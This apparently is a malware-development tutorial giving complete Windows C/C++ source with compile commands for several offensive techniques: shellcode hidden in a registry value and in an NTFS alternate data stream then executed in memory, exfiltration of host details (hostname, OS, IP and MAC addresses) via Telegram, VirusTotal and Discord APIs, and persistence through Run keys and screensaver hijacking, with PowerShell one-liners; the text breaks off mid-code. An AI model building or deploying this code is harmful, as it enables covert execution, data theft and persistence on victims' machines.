//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <iostream>
void registryStore() {
HKEY hkey;
const unsigned char data[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
DWORD d;
const char* secret = "Software\\meowApp";
LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);
printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");
res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");
RegCloseKey(hkey);
}
void registryGetData() {
HKEY hkey;
DWORD size = 0;
const char* secret = "Software\\meowApp";
LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");
res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");
// allocate memory for the data
LPVOID data = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, static_cast<LPBYTE>(data), &size);
printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)data, (LPARAM)NULL);
// clean up
VirtualFree(data, 0, MEM_RELEASE);
RegCloseKey(hkey);
}
int main(void) {
registryStore();
registryGetData();
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
in alternate data streams
Alternate Data Streams allow for multiple data “streams” to be associated with a single filename, a capability that can be used to store metadata. While this feature was designed to support Macintosh Hierarchical File System (HFS) which uses resource forks to store icons and other information for a file, it can be and has been used for hiding data and malicious code.
Code
//hack.c
#include <windows.h>
#include <stdio.h>
int main() {
// name of the file to which we'll attach the ADS
char* filename = "C:\\temp\\meow.txt";
// name of the ADS
char* streamname = "hiddenstream";
// full path including the ADS
char fullpath[1024];
sprintf(fullpath, "%s:%s", filename, streamname);
// the data we're going to write to the ADS
// meow-meow messagebox
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
printf("original payload: ");
for (int i = 0; i < sizeof(my_payload); i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");
// write data to the ADS
HANDLE hFile = CreateFile(fullpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully write payload data to the ADS\n");
DWORD bw;
WriteFile(hFile, my_payload, sizeof(my_payload) - 1, &bw, NULL);
CloseHandle(hFile);
// now read the data back
hFile = CreateFile(fullpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully read payload data from file\n");
unsigned char data[sizeof(my_payload) - 1];
DWORD br;
ReadFile(hFile, data, sizeof(data), &br, NULL);
CloseHandle(hFile);
printf("read from file, payload:\n");
for (int i = 0; i < sizeof(data); i++) {
printf("%02x ", data[i]);
}
printf("\n\n");
LPVOID mem = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, sizeof(data));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Run
Stealing data
via legit Telegram API
Step 1 : Create bot on Telegram.
Step 2 : Get chatId
.
- Copy this script and replace your bot API Token.
#!/usr/bin/env python
# my_bot.py
import logging
from telegram import ForceReply, Update
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
# Enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
# set higher logging level for httpx to avoid all GET and POST requests being logged
logging.getLogger("httpx").setLevel(logging.WARNING)
logger = logging.getLogger(__name__)
# Define a few command handlers. These usually take the two arguments update and
# context.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /start is issued."""
user = update.effective_user
await update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),
)
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /help is issued."""
await update.message.reply_text("Help!")
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
def main() -> None:
"""Start the bot."""
# Create the Application and pass it your bot's token.
application = Application.builder().token("YOUR_API_ID").build()
# on different commands - answer in Telegram
application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler("help", help_command))
# on non command i.e message - echo the message on Telegram
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))
# Run the bot until the user presses Ctrl-C
application.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == "__main__":
main()
- Run this script.
- Start the bot and test it with random text.
- If you get the same text back check running script,
chatId
must get printed there.
ChatId
= 1254629754.
Step 3 : Write exploit.
Code
//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
int sendToTgBot(const char* message) {
const char* chatId = "YOUR_CHATID_HERE";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot{YOUR_API_KEY}/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
//It thould look like this!
//HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot1234567890:AAFNByzp-KOlQysXZ*dMtBhJN8_v8kEZ5JQ/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// construct the request body
char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);
// set the headers
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
printf("successfully sent to tg bot :)\n");
return 0;
}
// get systeminfo and send to chat via tgbot logic
int main(int argc, char* argv[]) {
// test tgbot sending message
char test[1024];
const char* message = "meow-meow";
snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
sendToTgBot(test);
char systemInfo[4096];
// Get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// Get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Get logical drive information
DWORD drives = GetLogicalDrives();
// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName, osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber, sysInfo.wProcessorArchitecture, sysInfo.dwNumberOfProcessors, drives);
// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
char info[8196];
snprintf(info, sizeof(info), "{\"text\":\"%s\"}", systemInfo);
int result = sendToTgBot(info);
if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -liphlpapi -lwinhttp
Run
via VirusTotal API
Step 1 : Get FILE_ID
.
Create a random exe
. And upload it to Virustotal and get FILE_ID
.
Example:
If this is the URL you see after uploading https://www.virustotal.com/gui/file/e2d2ab909fefaa4e9834c0b10c70df3ae66792bd2cc1be81f11aa20624d10472/
then e2d2ab909fefaa4e9834c0b10c70df3ae66792bd2cc1be81f11aa20624d10472
is your FILE_ID
.
Step 2 : Get your API key from https://www.virustotal.com/gui/my-apikey .
Step3 : Write Exploit.
- Replace your
API_KEY
andFILE_ID
.
//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
#define VT_API_KEY "YOUR_API_KEY"
#define FILE_ID "YOUR FILE_ID"
// send data to VirusTotal using winhttp
int sendToVT(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"www.virustotal.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v3/files/" FILE_ID "/comments", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// construct the request body
char json_body[1024];
snprintf(json_body, sizeof(json_body), "{\"data\": {\"type\": \"comment\", \"attributes\": {\"text\": \"%s\"}}}", comment);
// set the headers
if (!WinHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt v.1.0\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/json", -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
}
DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("comment posted successfully.\n");
} else {
printf("failed to post comment. HTTP Status Code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("WTF? unknown error: %s\n", buffer);
LocalFree(buffer);
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
printf("successfully send info via VT API :)\n");
return 0;
}
// get systeminfo and send as comment via VT API logic
int main(int argc, char* argv[]) {
// test posting comment
// const char* comment = "meow-meow";
// sendToVT(comment);
char systemInfo[4096];
// Get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// Get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Get logical drive information
DWORD drives = GetLogicalDrives();
// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
int result = sendToVT(systemInfo);
if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp
Run
via Discord Bot API
Step 1 : Create an Application in Discord.
- Use this link to Create Application
https://discord.com/developers/applications
Step 2 : Get Application ID after creating Application.
Step 3 : Go to Bot section and give Administrator Permission to Bot and Reset the Token and get the newly generated Token.
Step 4 : Get Channel ID.
- Open the channel you want to get messages and then copy link by right-clicking on it.
Example:- If you get Link this
https://discord.com/channels/766253980379512863/76625397496912865
then76625397496912865
is your Channel ID.
- If you get Link this
Step 5 : Authorize our bot for sending Message to channel.
- Visit
https://discord.com/api/oauth2/authorize?client_id=<Your Application ID>&permissions=0&scope=bot
And Authorize your bot.
Step 6 : Write Exploit. - Replace your channel id and Token we got in Step 4 and 3.
Code
//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
#define DISCORD_BOT_TOKEN "YOUR TOKEN" // replace with your actual bot token
#define DISCORD_CHANNEL_ID "YOUR CHANNEL ID" // replace with the channel ID where you want to send the message
// function to send a message to discord using the discord Bot API
int sendToDiscord(const char* message) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"discord.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v10/channels/" DISCORD_CHANNEL_ID "/messages", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
// set headers
if (!WinHttpAddRequestHeaders(hRequest, L"Authorization: Bot " DISCORD_BOT_TOKEN "\r\nContent-Type: application/json\r\n", -1, WINHTTP_ADDREQ_FLAG_ADD)) {
fprintf(stderr, "WinHttpAddRequestHeaders. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
// construct JSON payload
char json_body[1024];
snprintf(json_body, sizeof(json_body), "{\"content\": \"%s\"}", message);
// send the request
if (!WinHttpSendRequest(hRequest, NULL, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}
// receive response
BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. error %d has occurred.\n", GetLastError());
}
DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("message sent successfully to discord.\n");
} else {
printf("failed to send message to discord. HTTP status code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("unknown error: %s\n", buffer);
LocalFree(buffer);
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
return 0;
}
int main(int argc, char* argv[]) {
// test message
const char* message = "meow-meow";
sendToDiscord(message);
char systemInfo[4096];
// get host name
CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size);
// get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// get logical drive information
DWORD drives = GetLogicalDrives();
// get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return 1;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
// send system info to discord
sendToDiscord(systemInfo);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-liphlpapi -lwinhttp
Run
Persistence
Registry run keys
Malware code
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
- Move it to Windows and copy the location path of the exe.
Persistance code
//pers.cpp
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
- Before running the
pers.exe
testreg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
- After running exe again
Screensaver hijack
We can also perform same with this two command in powershell:
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'ScreenSaveTimeOut' -Value '10'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'SCRNSAVE.EXE' -Value \
'Z:\2022-04-26-malware-pers-2\hack.exe'
But we will write a code for it.
Step 1 : Write and compile and hack.exe and copy the location of it like we have done above in Registry run keys.
Step 2 : Write Code
Code
#include <windows.h>
#include <string.h>
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
// timeout
const char* ts = "10";
// activation
const char* aact = "1";
// startup
